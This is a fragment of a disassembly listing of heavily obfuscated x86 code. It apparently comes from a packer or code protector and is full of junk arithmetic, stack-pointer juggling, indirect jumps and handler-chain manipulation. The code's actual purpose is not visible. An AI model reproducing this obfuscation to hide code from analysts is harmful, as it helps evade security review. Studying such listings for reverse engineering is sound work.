jmp loc_596E3A ; --------------------------------------------------------------------------- loc_586D11: ; CODE XREF: .XComp0:00589FC0j add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5879E6 ; --------------------------------------------------------------------------- loc_586D28: ; CODE XREF: .XComp0:0059171Cj mov [esp], eax mov ax, 1738h sub ax, 3296h jmp loc_58936C ; --------------------------------------------------------------------------- loc_586D38: ; CODE XREF: .XComp0:0058E3BEj shl ebp, 2 sub ebp, 7DA40682h push ecx mov ecx, 6BEA0C20h sub ebp, ecx pop ecx shl ebp, 1 add ebp, 0E7B73835h jmp loc_597041 ; --------------------------------------------------------------------------- lodsd push esi jmp loc_5919A5 ; --------------------------------------------------------------------------- loc_586D5E: ; CODE XREF: .XComp0:0058430Ej mov [esp], ecx push edi jmp loc_58BCF0 ; --------------------------------------------------------------------------- loc_586D67: ; CODE XREF: .XComp0:00591652j sub eax, 61D8272Fh sub eax, 45EE0180h add eax, edi push ebx mov ebx, 1A303A5Eh not ebx inc ebx inc ebx dec ebx sub ebx, 9FE1C422h add eax, 181E68F0h add eax, ebx sub eax, 181E68F0h pop ebx add eax, 61D8272Fh pop edi jmp loc_593B24 ; --------------------------------------------------------------------------- loc_586D9C: ; CODE XREF: .XComp0:0058EA57j mov ecx, 5AC60452h add ecx, 1B066494h mov edi, ecx pop ecx jmp loc_5947C8 ; --------------------------------------------------------------------------- loc_586DAF: ; CODE XREF: .XComp0:00591AF1j mov [esp], eax push 29C647A9h mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ebx push ebp mov ebp, 416A3C1Ch xor ebp, 57AC45EDh or ebp, 5D9D3EE4h add ebp, 328626EBh xor ebp, 30310443h sub ebp, 6B5064FFh mov ebx, ebp pop ebp sub ebx, 614114D7h xchg eax, ebx jmp loc_589735 ; --------------------------------------------------------------------------- loc_586E04: ; CODE XREF: .XComp0:0058A852j sub ebp, 6DC17751h add ebp, ebx add ebp, 6DC17751h mov ebx, [esp] jmp loc_592F04 ; --------------------------------------------------------------------------- loc_586E1A: ; CODE XREF: .XComp0:00590C1Fj push edx mov edx, 2C6401A2h mov ecx, edx pop edx and ecx, 10F67186h shl ecx, 1 sub ecx, 15EE2395h inc ecx shr ecx, 4 sub ecx, 5757F85Dh jmp loc_591840 ; --------------------------------------------------------------------------- loc_586E40: ; CODE XREF: .XComp0:0058D0C0j xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebx jmp loc_58B26F ; --------------------------------------------------------------------------- loc_586E52: ; CODE XREF: .XComp0:005922E4j add edi, 4 jmp loc_58C06E ; --------------------------------------------------------------------------- loc_586E5A: ; CODE XREF: .XComp0:00584AF4j push 3237h mov [esp], ebx push 7CE50748h pop ebx neg ebx sub ebx, 3930641Fh jmp loc_5859DD ; --------------------------------------------------------------------------- loc_586E75: ; CODE XREF: .XComp0:0058B67Cj pop ebx jmp loc_597B57 ; --------------------------------------------------------------------------- loc_586E7B: ; CODE XREF: .XComp0:005908B2j mov edx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_595C4F ; --------------------------------------------------------------------------- loc_586E99: ; CODE XREF: .XComp0:0058E1EBj push edx jmp loc_585A80 ; --------------------------------------------------------------------------- loc_586E9F: ; CODE XREF: .XComp0:00597A09j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub edx, 1 inc edx shl edx, 3 push esi mov esi, 331224EBh push ecx mov ecx, 10F10783h jmp loc_5845B0 ; --------------------------------------------------------------------------- loc_586EC9: ; CODE XREF: .XComp0:00595211j sub ecx, 1A4D5733h jmp loc_58BF23 ; --------------------------------------------------------------------------- loc_586ED4: ; CODE XREF: .XComp0:0058C048j add edx, ebp sub edx, 2EB8281Bh jmp loc_58F111 ; --------------------------------------------------------------------------- loc_586EE1: ; CODE XREF: .XComp0:00591B8Ej sub dword ptr [esp], 397C0363h pop dword ptr [edx+38h] add dword ptr [edx+38h], 397C0363h mov edi, [esp] add esp, 4 pop ecx loc_586EF9: ; CODE XREF: .XComp0:0058862Cj mov dword ptr [edx+30h], 56EE6128h sub esp, 4 mov [esp], edi push 2E8Eh jmp loc_58D126 ; --------------------------------------------------------------------------- loc_586F10: ; CODE XREF: .XComp0:005911D8j sub esp, 4 mov [esp], eax mov eax, 1394520Ah or ebp, eax pop eax neg ebp push esi mov esi, 0E70AA9C8h xor ebp, esi pop esi push ebp add dword ptr [esp], 2BF811BEh pop esi sub esi, 2BF811BEh pop ebp mov edx, 59F34219h xor edx, esi mov esi, [esp] push 3B6Fh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_593119 ; --------------------------------------------------------------------------- loc_586F61: ; CODE XREF: .XComp0:005980ACj add ecx, esi add ecx, 1D552407h sub ecx, 550A2A26h mov esi, [esp] push edi jmp loc_584740 ; --------------------------------------------------------------------------- loc_586F78: ; CODE XREF: .XComp0:0058F9A2j shr ebx, 2 xchg eax, ebx not eax jmp loc_58CE4C ; --------------------------------------------------------------------------- loc_586F83: ; CODE XREF: .XComp0:0058E266j add ebp, 4 xchg ebp, [esp] pop esp sub edi, 41D16946h add edi, eax add edi, 41D16946h push dword ptr [esp] mov eax, [esp] jmp loc_58DC70 ; --------------------------------------------------------------------------- loc_586FA6: ; CODE XREF: .XComp0:00587C66j mov esp, [esp] mov [esp], ax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_586FB2: ; CODE XREF: .XComp0:005854A1j add eax, 63850B08h sub eax, 6A4D57D5h mov esi, [esp] push 133Ch mov [esp], edi mov edi, esp jmp loc_58778E ; --------------------------------------------------------------------------- loc_586FCE: ; CODE XREF: .XComp0:00596E77j mov ecx, 2AF25D34h sub eax, ecx mov ecx, [esp] add esp, 4 add eax, 1E6C4678h sub ebp, eax pop eax jmp loc_58F6A6 ; --------------------------------------------------------------------------- loc_586FE8: ; CODE XREF: .XComp0:0058A7ACj sub bh, 1 push ecx jmp loc_59077F ; --------------------------------------------------------------------------- loc_586FF1: ; CODE XREF: .XComp0:0058F92Bj pop ebx pop ecx jmp loc_593157 ; --------------------------------------------------------------------------- loc_586FF8: ; CODE XREF: .XComp0:005904F6j sub al, 85h add al, 67h add al, dh jmp loc_5891A5 ; --------------------------------------------------------------------------- loc_587003: ; CODE XREF: .XComp0:00588A37j add [esp+8], edx push dword ptr [esp] pop edx add esp, 4 sub [esp+4], eax jmp loc_59646F ; --------------------------------------------------------------------------- loc_587017: ; CODE XREF: .XComp0:0058A334j sub eax, 6E9F6AA3h mov ebx, [esp] jmp loc_58E481 ; --------------------------------------------------------------------------- loc_587024: ; CODE XREF: .XComp0:00585E1Fj sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_58BD21 ; --------------------------------------------------------------------------- loc_587048: ; CODE XREF: .XComp0:0058C61Bj push dword ptr [esp] mov edx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_58EC21 ; --------------------------------------------------------------------------- loc_587062: ; CODE XREF: .XComp0:0058A343j push edx mov edx, 4E3E4085h jmp loc_587A65 ; --------------------------------------------------------------------------- loc_58706D: ; CODE XREF: .XComp0:00592C35j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5872E5 ; --------------------------------------------------------------------------- loc_587091: ; CODE XREF: .XComp0:00597194j push edx jmp loc_5909E1 ; --------------------------------------------------------------------------- loc_587097: ; CODE XREF: .XComp0:005914C6j pop eax mov edi, [esp] sub esp, 4 jmp loc_58F801 ; --------------------------------------------------------------------------- loc_5870A6: ; CODE XREF: .XComp0:00586534j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_58B310 ; --------------------------------------------------------------------------- loc_5870B4: ; CODE XREF: .XComp0:00596110j pop ebx shr ah, 1 dec ah jmp loc_594D33 ; --------------------------------------------------------------------------- loc_5870BE: ; CODE XREF: .XComp0:0058C0F6j push eax jmp loc_5927B1 ; --------------------------------------------------------------------------- loc_5870C4: ; CODE XREF: .XComp0:005887E2j mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp sub edi, 71B92F7Bh jmp loc_594A3A ; --------------------------------------------------------------------------- loc_5870E4: ; CODE XREF: .XComp0:005948FCj and ebp, edi pop edi jmp loc_584678 ; --------------------------------------------------------------------------- loc_5870EC: ; CODE XREF: .XComp0:0058D770j pop esi add edi, ecx jmp loc_598EB1 ; --------------------------------------------------------------------------- loc_5870F4: ; CODE XREF: .XComp0:00597AF0j add eax, ecx pop ecx jmp loc_58D3DA ; --------------------------------------------------------------------------- loc_5870FC: ; CODE XREF: .XComp0:0059455Dj add ecx, 0DB3ABD86h add edi, ecx pop ecx sub esp, 4 mov [esp], edx jmp loc_59788A ; --------------------------------------------------------------------------- loc_587110: ; CODE XREF: .XComp0:0058E4F2j push ebx mov ebx, 4B8165C7h inc ebx add ebx, 0B47E9A3Ch push ebx sub dword ptr [esp], 26E04C7Bh pop ebp jmp loc_583DB2 ; --------------------------------------------------------------------------- loc_58712B: ; CODE XREF: .XComp0:0059757Fj mov ch, 0E6h add dh, ch pop cx sub dh, 65h push ebx mov bl, 0E7h add dh, bl mov ebx, [esp] add esp, 4 push 561h mov [esp], ecx mov ch, 4Fh sub dh, ch pop ecx jmp loc_585DDC ; --------------------------------------------------------------------------- loc_587151: ; CODE XREF: .XComp0:005952EBj push esi push 0C20h jmp loc_59345D ; --------------------------------------------------------------------------- loc_58715C: ; CODE XREF: .XComp0:0058CD67j sub esi, 5CFEB6E0h add eax, esi pop esi sub ebp, 0C746A45h jmp loc_594A1D ; --------------------------------------------------------------------------- loc_587170: ; CODE XREF: .XComp0:0058AE30j add ebx, 4 push edi mov edi, 4 sub ebx, 0C6F5E4Ch jmp loc_585B19 ; --------------------------------------------------------------------------- loc_587187: ; CODE XREF: .XComp0:005843DCj pop ecx mov edx, [esp] add esp, 4 push eax push esi mov esi, 35FA5CAEh or esi, 69D11981h shl esi, 6 push ebx mov ebx, 3E4C2077h sub esi, ebx pop ebx xor esi, 3AC921FDh shr esi, 7 xor esi, 1E768E0Ah mov eax, esi jmp loc_58DB2D ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5871C5: ; CODE XREF: .XComp0:0058548Ej mov ebx, esp push edi push ebp mov ebp, 52BB38D5h mov edi, ebp pop ebp sub edi, 634749DDh shl edi, 1 dec edi add edi, 21182215h jmp loc_594CC8 ; --------------------------------------------------------------------------- loc_5871E5: ; CODE XREF: .XComp0:005987FDj push 2086h jmp loc_58723C ; --------------------------------------------------------------------------- loc_5871EF: ; CODE XREF: .XComp0:00594C19j mov ecx, 6C063B23h jmp loc_595997 ; --------------------------------------------------------------------------- loc_5871F9: ; CODE XREF: .XComp0:00586BA3j not bl add bl, 64h add al, bl pop ebx jmp loc_593F24 ; --------------------------------------------------------------------------- loc_587206: ; CODE XREF: .XComp0:0058748Bj push ax mov al, 21h jmp loc_594052 ; --------------------------------------------------------------------------- loc_58720F: ; CODE XREF: .XComp0:0058D189j mov ebx, 0A1874C7h dec ebx sub ebx, 43B7699Bh inc ebx push ebx not dword ptr [esp] pop ebx xor ebx, 399EF4D7h mov esi, ebx pop ebx jmp loc_588DA3 ; --------------------------------------------------------------------------- loc_58722F: ; CODE XREF: .XComp0:0058AB8Aj mov [esp], edi push 6AE0h jmp loc_5848DB ; --------------------------------------------------------------------------- loc_58723C: ; CODE XREF: .XComp0:005871EAj mov [esp], eax push edx mov edx, 4168409Bh mov eax, edx mov edx, [esp] add esp, 4 sub ebp, eax mov eax, [esp] add esp, 4 mov ebx, ebp pop ebp or ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_58BCB4 ; --------------------------------------------------------------------------- loc_587265: ; CODE XREF: .XComp0:00592DF3j pop ebp pop ebx sub edx, ebp pop ebp jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58726F: ; CODE XREF: .XComp0:00598E4Ej pop esp mov [esp], ebp push esp mov ebp, [esp] add esp, 4 sub esp, 4 jmp loc_592B58 ; --------------------------------------------------------------------------- loc_587285: ; CODE XREF: .XComp0:00596BC5j add al, 11h mov ecx, [esp] add esp, 4 sub al, 25h jmp loc_583A66 ; --------------------------------------------------------------------------- loc_587297: ; CODE XREF: .XComp0:0058CD33j mov [esp], eax jmp loc_59537F ; --------------------------------------------------------------------------- loc_58729F: ; CODE XREF: .XComp0:0058F06Aj add eax, ecx push ebp mov ebp, 6D476B3Bh inc ebp and ebp, 211F7951h sub ebp, 0C2080737h jmp loc_58CFBD ; --------------------------------------------------------------------------- loc_5872B9: ; CODE XREF: .XComp0:00592AF8j push esi jmp loc_58D710 ; --------------------------------------------------------------------------- loc_5872BF: ; CODE XREF: .XComp0:005885DCj mov eax, esp push ebp push edi mov edi, 4 jmp loc_59418C ; --------------------------------------------------------------------------- loc_5872CD: ; CODE XREF: .XComp0:0058D855j xor edi, ebx sub edi, 5747939h sub esp, 4 jmp loc_583BEB ; --------------------------------------------------------------------------- loc_5872DD: ; CODE XREF: .XComp0:005860E5j mov eax, ebx pop ebx jmp loc_5933AE ; --------------------------------------------------------------------------- loc_5872E5: ; CODE XREF: .XComp0:0058708Cj pop esp mov ax, [esp] push edi push esp jmp loc_59487A ; --------------------------------------------------------------------------- loc_5872F1: ; CODE XREF: .XComp0:0058F947j mov ecx, 281E32F4h jmp loc_5925C7 ; --------------------------------------------------------------------------- loc_5872FB: ; CODE XREF: .XComp0:00585744j push esi push esp pop esi push ebx mov ebx, 6983E38h neg ebx not ebx xor ebx, 6983E33h add esi, ebx pop ebx jmp loc_583E7E ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push 40F0h mov [esp], eax sub esp, 4 mov [esp], esi jmp loc_58A99A ; --------------------------------------------------------------------------- loc_58732C: ; CODE XREF: .XComp0:00588E3Bj mov ecx, 4 sub ebp, 44242F67h sub ebp, ecx add ebp, 44242F67h pop ecx xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_58CDBD ; --------------------------------------------------------------------------- loc_58734E: ; CODE XREF: .XComp0:005971D1j push esi push ebp jmp loc_583D34 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58B44D ; --------------------------------------------------------------------------- loc_58735D: ; CODE XREF: .XComp0:00592A19j mov [esp], ebx mov ebx, esp push 1B85h mov [esp], ebp mov ebp, 0C282629h jmp loc_594180 ; --------------------------------------------------------------------------- mov ax, [esp] push eax jmp loc_58A01F ; --------------------------------------------------------------------------- loc_58737E: ; CODE XREF: .XComp0:0059158Ej mov cl, 5Dh not cl inc cl and cl, 0B9h jmp loc_59289D ; --------------------------------------------------------------------------- loc_58738C: ; CODE XREF: .XComp0:00587FE5j pop edx jmp loc_597688 ; --------------------------------------------------------------------------- loc_587392: ; CODE XREF: .XComp0:005896A5j add edi, ecx sub edi, 5D416866h pop ecx sub esp, 4 jmp loc_590AF0 ; --------------------------------------------------------------------------- loc_5873A3: ; CODE XREF: .XComp0:005975C1j add ebp, ecx jmp loc_5853D9 ; --------------------------------------------------------------------------- loc_5873AA: ; CODE XREF: .XComp0:00591B62j pop dword ptr [esp] mov esp, [esp] jmp loc_58E32A ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_595E85 ; --------------------------------------------------------------------------- loc_5873C5: ; CODE XREF: .XComp0:005876CFj mov esp, [esp] sub esp, 4 jmp loc_585FA0 ; --------------------------------------------------------------------------- loc_5873D3: ; CODE XREF: .XComp0:00590B39j add esp, 4 mov ebp, ebx pop ebx jmp loc_583D20 ; --------------------------------------------------------------------------- loc_5873E1: ; CODE XREF: .XComp0:0058E98Ej mov ebp, [esp] add esp, 4 add esi, 2 push 7902h mov [esp], esi push dword ptr [esp+4] jmp loc_597604 ; --------------------------------------------------------------------------- loc_5873FE: ; CODE XREF: .XComp0:00585E25j mov ebx, 1A3C0FC8h inc ebx sub ebx, 0CFC0B561h xor edi, ebx push dword ptr [esp] pop ebx add esp, 4 shr edi, 1 jmp loc_58F096 ; --------------------------------------------------------------------------- loc_58741D: ; CODE XREF: .XComp0:0058C7B5j add esp, 4 jmp loc_58EC30 ; --------------------------------------------------------------------------- loc_587425: ; CODE XREF: .XComp0:005843A3j and esi, 3507304Fh jmp loc_590F3B ; --------------------------------------------------------------------------- loc_587430: ; CODE XREF: .XComp0:0058E821j push esi mov esi, esp add esi, 4 push ebp jmp loc_587ECE ; --------------------------------------------------------------------------- loc_58743F: ; CODE XREF: .XComp0:005975A4j push edi jmp loc_58948F ; --------------------------------------------------------------------------- loc_587445: ; CODE XREF: .XComp0:005948B9j mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push 5F45h mov [esp], edi push esp pop edi add edi, 4 jmp loc_58E7FE ; --------------------------------------------------------------------------- loc_587472: ; CODE XREF: .XComp0:00588D41j sub esp, 4 mov [esp], ebx mov ebx, 4 sub edi, ebx jmp loc_59272D ; --------------------------------------------------------------------------- loc_587487: ; CODE XREF: .XComp0:00595C4Aj not ah xchg ah, dh jmp loc_587206 ; --------------------------------------------------------------------------- loc_587490: ; CODE XREF: .XComp0:00590AF3j mov esi, 4 jmp loc_597902 ; --------------------------------------------------------------------------- loc_58749A: ; CODE XREF: .XComp0:005844A1j not esi xchg esi, edx add edx, 791F482Fh add edx, 4C6AA9A8h sub esp, 4 mov [esp], esi push ebx push edx mov edx, 344D449Ch jmp loc_590EAB ; --------------------------------------------------------------------------- loc_5874BC: ; CODE XREF: .XComp0:00592783j shl ecx, 3 push eax push edx mov edx, 23CF2CAEh sub edx, 67034A8Bh and edx, 2A2147C3h shl edx, 7 jmp loc_588224 ; --------------------------------------------------------------------------- loc_5874DA: ; CODE XREF: .XComp0:0058D064j add eax, 2D1B18B0h pop ebp sub eax, 3ACC1292h add eax, 241913C6h push esi mov esi, 27391970h add eax, esi jmp loc_5894B2 ; --------------------------------------------------------------------------- loc_5874F7: ; CODE XREF: .XComp0:005893B4j movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_5955E1 ; --------------------------------------------------------------------------- loc_587505: ; CODE XREF: .XComp0:00583C4Dj push ebp push eax mov eax, 451544CEh push eax jmp loc_589341 ; --------------------------------------------------------------------------- loc_587512: ; CODE XREF: .XComp0:0058F074j sub eax, ebx add eax, 3D746780h jmp loc_58D979 ; --------------------------------------------------------------------------- loc_58751E: ; CODE XREF: .XComp0:005893FEj pop ecx push ebp push esp jmp loc_583D6C ; --------------------------------------------------------------------------- loc_587526: ; CODE XREF: .XComp0:0058A241j mov ebx, 4FF154F9h sub ebx, 47507F30h jmp loc_584416 ; --------------------------------------------------------------------------- loc_587536: ; CODE XREF: .XComp0:00585390j neg al dec al xor al, 6Ah not al inc al add al, 0A4h jmp loc_594A88 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 add esi, 4 sub esp, 4 mov [esp], ebp push edx mov edx, 629839AAh mov ebp, 0AB7F5104h sub ebp, edx pop edx push ebx jmp loc_58AE49 ; --------------------------------------------------------------------------- loc_587579: ; CODE XREF: .XComp0:0058B8BCj push 5E6Dh mov [esp], esi mov esi, esp add esi, 4 jmp loc_58C94A ; --------------------------------------------------------------------------- loc_58758E: ; CODE XREF: .XComp0:005883EFj mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_58BC45 ; --------------------------------------------------------------------------- loc_5875A3: ; CODE XREF: .XComp0:0058B18Aj add ecx, 125B50ECh or ecx, 44F8361Dh sub ecx, 30D9E69Eh jmp loc_58D943 ; --------------------------------------------------------------------------- loc_5875BA: ; CODE XREF: .XComp0:00585B14j pop edi jmp loc_5915C4 ; --------------------------------------------------------------------------- loc_5875C0: ; CODE XREF: .XComp0:00593BA5j add dl, al pop eax push bx mov bh, 17h xor dl, bh jmp loc_5916B9 ; --------------------------------------------------------------------------- loc_5875CE: ; CODE XREF: .XComp0:00584319j mov ebx, [esp] push 37E3h mov [esp], ebx push esp pop ebx sub esp, 4 mov [esp], edx mov edx, 4 jmp loc_598D8F ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_58F010 ; --------------------------------------------------------------------------- loc_5875F3: ; CODE XREF: .XComp0:00592B03j pop ebx sub ebx, 5233402Bh xor ebx, 289C1178h jmp loc_58C31F ; --------------------------------------------------------------------------- loc_587605: ; CODE XREF: .XComp0:00593725j pop dword ptr [esp] mov esp, [esp] xor bl, al jmp loc_5848C4 ; --------------------------------------------------------------------------- loc_587612: ; CODE XREF: .XComp0:00585B3Aj pop ecx xor cl, dh pop edx inc cl sub cl, 80h xor cl, 0BBh sub esp, 4 mov [esp], eax mov al, cl sub esp, 4 jmp loc_58BB70 ; --------------------------------------------------------------------------- loc_587631: ; CODE XREF: .XComp0:0059154Fj not ebx xor ebx, 3290E575h add eax, ebx pop ebx add eax, edi sub eax, 1C66088Ah jmp loc_58FDD4 ; --------------------------------------------------------------------------- loc_587648: ; CODE XREF: .XComp0:0058B30Bj sub esp, 4 mov [esp], ebx mov ebx, 4 sub edx, 3E101839h add edx, ebx push edi mov edi, 55A04D08h dec edi jmp loc_58F7C4 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] push ecx push ebp mov ebp, 30E07DEAh jmp loc_5930A0 ; --------------------------------------------------------------------------- loc_587679: ; CODE XREF: .XComp0:00596018j mov ecx, edx jmp loc_592C4C ; --------------------------------------------------------------------------- loc_587680: ; CODE XREF: .XComp0:00589D0Bj mov [esp], edi push esp jmp loc_59098E ; --------------------------------------------------------------------------- loc_587689: ; CODE XREF: .XComp0:0058E391j add esp, 4 add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5876A9: ; CODE XREF: .XComp0:00588D59j xor ecx, ebp jmp loc_58FBB6 ; --------------------------------------------------------------------------- loc_5876B0: ; CODE XREF: .XComp0:0058EAE2j xchg edi, [esp] pop esp jmp loc_58C982 ; --------------------------------------------------------------------------- loc_5876B9: ; CODE XREF: .XComp0:00585123j push ebp jmp loc_596AE5 ; --------------------------------------------------------------------------- loc_5876BF: ; CODE XREF: .XComp0:0058F166j pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5873C5 ; --------------------------------------------------------------------------- loc_5876D4: ; CODE XREF: .XComp0:0058F6C6j sub al, bl sub esp, 4 mov [esp], ecx mov cl, 0D3h add al, cl jmp loc_58A9CF ; --------------------------------------------------------------------------- loc_5876E5: ; CODE XREF: .XComp0:005915BFj push edi mov edi, 5B94671Bh xor edi, 14253417h shr edi, 6 not edi jmp loc_588552 ; --------------------------------------------------------------------------- loc_5876FB: ; CODE XREF: .XComp0:0058B57Cj add esp, 4 push 4488h mov [esp], eax push 255h mov [esp], edi mov edi, 4 mov eax, edi pop edi add ebx, 72042A15h add ebx, eax sub ebx, 72042A15h mov eax, [esp] push ebp push esp jmp loc_59449C ; --------------------------------------------------------------------------- loc_587731: ; CODE XREF: .XComp0:00593CC2j sub ecx, 60794AD3h add ecx, edi push edx mov edx, 60794AD3h add ecx, edx pop edx pop edi jmp loc_593DB6 ; --------------------------------------------------------------------------- loc_587748: ; CODE XREF: .XComp0:005937BEj xor edi, 0F357DBF4h jmp loc_58950F ; --------------------------------------------------------------------------- loc_587753: ; CODE XREF: .XComp0:0059579Fj shr esi, 3 shr esi, 8 jmp loc_588734 ; --------------------------------------------------------------------------- loc_58775E: ; CODE XREF: .XComp0:00591A04j mov [esp], esp add dword ptr [esp], 4 jmp loc_58DCCA ; --------------------------------------------------------------------------- loc_58776A: ; CODE XREF: .XComp0:005858C9j pop eax pop edx pop eax sub esp, 4 mov [esp], ebx mov bh, 20h add cl, 60h add cl, bh sub cl, 60h pop ebx sub al, 0AEh jmp loc_590DAF ; --------------------------------------------------------------------------- loc_587785: ; CODE XREF: .XComp0:005915E4j pop ebx xor cl, dl pop edx jmp loc_5848CE ; --------------------------------------------------------------------------- loc_58778E: ; CODE XREF: .XComp0:00586FC9j add edi, 4 jmp loc_58A857 ; --------------------------------------------------------------------------- loc_587799: ; CODE XREF: .XComp0:0058BCEBj push edx mov edx, 1873707Ch sub edx, 1 or edx, 728122D3h push ebx mov ebx, 76DC4482h neg ebx jmp loc_58AB8F ; --------------------------------------------------------------------------- loc_5877B5: ; CODE XREF: .XComp0:00586B5Cj push 7D42h mov [esp], edi mov edi, ebp push ebp sub esp, 4 mov [esp], edi pop ebp mov ecx, ebp pop ebp jmp loc_58662E ; --------------------------------------------------------------------------- loc_5877D2: ; CODE XREF: .XComp0:005901E0j mov eax, 4 sub edx, eax pop eax push edx push dword ptr [esp+4] jmp loc_587E36 ; --------------------------------------------------------------------------- loc_5877E4: ; CODE XREF: .XComp0:0058D2F0j xchg ebx, [esp] jmp loc_593433 ; --------------------------------------------------------------------------- loc_5877EC: ; CODE XREF: .XComp0:00585A90j add esp, 4 mov ebx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_589FEA ; --------------------------------------------------------------------------- loc_587813: ; CODE XREF: .XComp0:0058ACFEj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_587818: ; CODE XREF: .XComp0:00597848j shr ecx, 1 xor ecx, 1C4E39CFh jmp loc_586B59 ; --------------------------------------------------------------------------- loc_587825: ; CODE XREF: .XComp0:00585003j push ecx jmp loc_58B4DC ; --------------------------------------------------------------------------- loc_58782B: ; CODE XREF: .XComp0:0058A794j not ecx jmp loc_589679 ; --------------------------------------------------------------------------- loc_587832: ; CODE XREF: .XComp0:00594CBCj add ebp, ebx pop ebx sub ebp, 1EF36395h sub ebp, edi add ebp, 1EF36395h sub ebp, 7A7C7A9Ah pop edi or ebp, 6443292Bh xor ebp, 390D1FC2h or esi, ebp jmp loc_593D07 ; --------------------------------------------------------------------------- loc_58785D: ; CODE XREF: .XComp0:00594270j push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push ebx jmp loc_58CA47 ; --------------------------------------------------------------------------- loc_58786E: ; CODE XREF: .XComp0:00590348j add esp, 4 push edi mov edi, 63775353h neg edi sub edi, 5CF83A07h and edi, 78524963h jmp loc_58ED94 ; --------------------------------------------------------------------------- loc_58788A: ; CODE XREF: .XComp0:0058D5EDj mov edx, ebx jmp loc_598557 ; --------------------------------------------------------------------------- loc_587891: ; CODE XREF: .XComp0:00589542j mov ecx, edi pop edi not ecx xor ecx, 8044CE47h and edx, ecx pop ecx sub edx, 0E169F257h and ecx, edx pop edx push ebp mov ebp, 4DFA07B5h push 0 sub [esp], ebp pop ebp neg ebp add ebp, 0AEC6689h sub esp, 4 mov [esp], ebp inc dword ptr [esp] pop ebp sub ebp, 105B0EDDh jmp loc_58C6E4 ; --------------------------------------------------------------------------- loc_5878D4: ; CODE XREF: .XComp0:00597457j mov ecx, 6DBC329Eh xor ecx, 0BA81B386h xor ebx, ecx pop ecx add eax, 42B25614h add eax, ebx jmp loc_59602C ; --------------------------------------------------------------------------- loc_5878EE: ; CODE XREF: .XComp0:0058586Cj not ecx or ecx, 5BC8061Eh jmp loc_5865F3 ; --------------------------------------------------------------------------- loc_5878FB: ; CODE XREF: .XComp0:0058D4E5j add ebx, ecx pop ecx jmp loc_58FFD1 ; --------------------------------------------------------------------------- loc_587903: ; CODE XREF: .XComp0:005923FDj push eax mov eax, 2186272Fh or eax, 8482106h sub eax, 0F803B7D7h add ebx, eax pop eax shl ebx, 6 xor ebx, 137192C4h jmp loc_5930ED ; --------------------------------------------------------------------------- loc_587924: ; CODE XREF: .XComp0:0058F1E6j mov esi, 34388DD5h jmp loc_5869EB ; --------------------------------------------------------------------------- loc_58792E: ; CODE XREF: .XComp0:00590730j pop eax sub edx, edi pop edi pop ebp jmp loc_593FEC ; --------------------------------------------------------------------------- loc_587938: ; CODE XREF: .XComp0:0058A47Cj pop edi push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 7FA348BFh jmp loc_596009 ; --------------------------------------------------------------------------- loc_587957: ; CODE XREF: .XComp0:00592B81j push edi push eax mov eax, 7BA44630h push esi mov esi, 8855AE39h push 5D4Eh jmp loc_594706 ; --------------------------------------------------------------------------- loc_58796E: ; CODE XREF: .XComp0:0058E279j add ecx, 12956F51h pop eax push ebx push eax mov eax, 582B0C83h jmp loc_58E62E ; --------------------------------------------------------------------------- loc_587981: ; CODE XREF: .XComp0:00590A09j push ebx push edx push ebx mov bh, 8 sub bh, 0FFh push edx mov dh, 58h sub bh, dh mov edx, [esp] push edx mov edx, esp jmp loc_59319F ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 3632h mov [esp], ax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5879AB: ; CODE XREF: .XComp0:00587C88j shl ebp, 5 push ecx push 41B74E42h pop ecx or ecx, 5F9C0276h xor ecx, 37F1690Eh xor ecx, 1259CBE8h xor ebp, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor ecx, ebp jmp loc_595855 ; --------------------------------------------------------------------------- loc_5879E6: ; CODE XREF: .XComp0:00586D23j pop esp mov [esp], eax push 15Eh mov [esp], ebx push 4931B9Ah mov ebx, [esp] add esp, 4 push esi mov esi, 4F2D0C18h neg esi 